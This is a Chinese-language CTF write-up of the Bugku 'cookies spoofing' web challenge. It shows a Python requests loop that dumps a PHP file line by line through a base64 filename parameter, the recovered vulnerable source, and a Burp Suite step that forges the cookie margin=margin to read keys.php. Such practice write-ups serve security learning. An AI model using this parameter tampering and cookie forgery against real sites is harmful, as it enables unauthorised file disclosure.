Bugku_CTF Writeup 之 cookies欺騙
題目描述:
http://120.24.86.145:8002/web11/
答案格式:KEY{xxxxxxxx}
1.開局一個url與一串亂碼:
http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaeru
baufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrs
gbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrb
gtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbai
envdivrbgtubgtrsgb......(此處省略千字)
2.原url有兩個參數
(1)line=
(2)filename=a2V5cy50eHQ=
3. 對a2V5cy50eHQ=用base64解碼,得到其明文是key.txt
猜測filename參數會決定所返回的頁面(可能是源碼),傳遞的參數要是base64密文形式,來交給後臺base64.decode()
那就傳遞index.php嘍,對應的base64密文是aW5kZXgucGhw
http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw
4.訪問http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw
發現頁面...空了......
line參數是否決定了返回哪一行呢?
5.令line=1、2、3...n...
都得到一段php代碼的第n行
python腳本幫助獲取全部代碼
1 import requests 2 ses=requests.session()3 url=‘http://120.24.86.145:8002/web11/index.php‘ 4 for i in range(0,30): 5 payload={‘line‘:i,‘filename‘:‘aW5kZXgucGhw‘} 6 result=ses.get(url,params=payload).text 7 print(result)
6.得到php源碼
1 <?php 2 3 error_reporting(0); 4 5 $file=base64_decode(isset($_GET[‘filename‘])?$_GET[‘filename‘]:""); 6 7 $line=isset($_GET[‘line‘])?intval($_GET[‘line‘]):0; 8 9 if($file==‘‘) header("location:index.php?line=&filename=a2V5cy50eHQ="); 10 11 $file_list = array( 12 13 ‘0‘ =>‘keys.txt‘, 14 15 ‘1‘ =>‘index.php‘, 16 17 ); 18 19 20 21 if(isset($_COOKIE[‘margin‘]) && $_COOKIE[‘margin‘]==‘margin‘){ 22 23 $file_list[2]=‘keys.php‘; 24 25 } 26 27 28 29 if(in_array($file, $file_list)){ 30 31 $fa = file($file); 32 33 echo $fa[$line]; 34 35 } 36 37 ?>
7.代碼最後會輸出一個文件的內容,至於會輸出哪個文件的,就看我們如何提交參數啦
我們想得到的當然是keys.php的內容,接下來看看得如何構造參數
將keys.php的base64密文傳入做為filename的參數
但要將keys.php加入候選文件序列$file_list中,還需要cookies中保存的鍵值對為margin=margin
8.burpsuite改包
在此之前先用burpsuite得到keys.php的base64密文:a2V5cy5waHA=
再發包、截包、改包三連:(1)filename的值賦為a2V5cy5waHA=
(2)添加Cookie:margin=margin
得到flag:
Bugku_CTF Writeup 之 cookies欺騙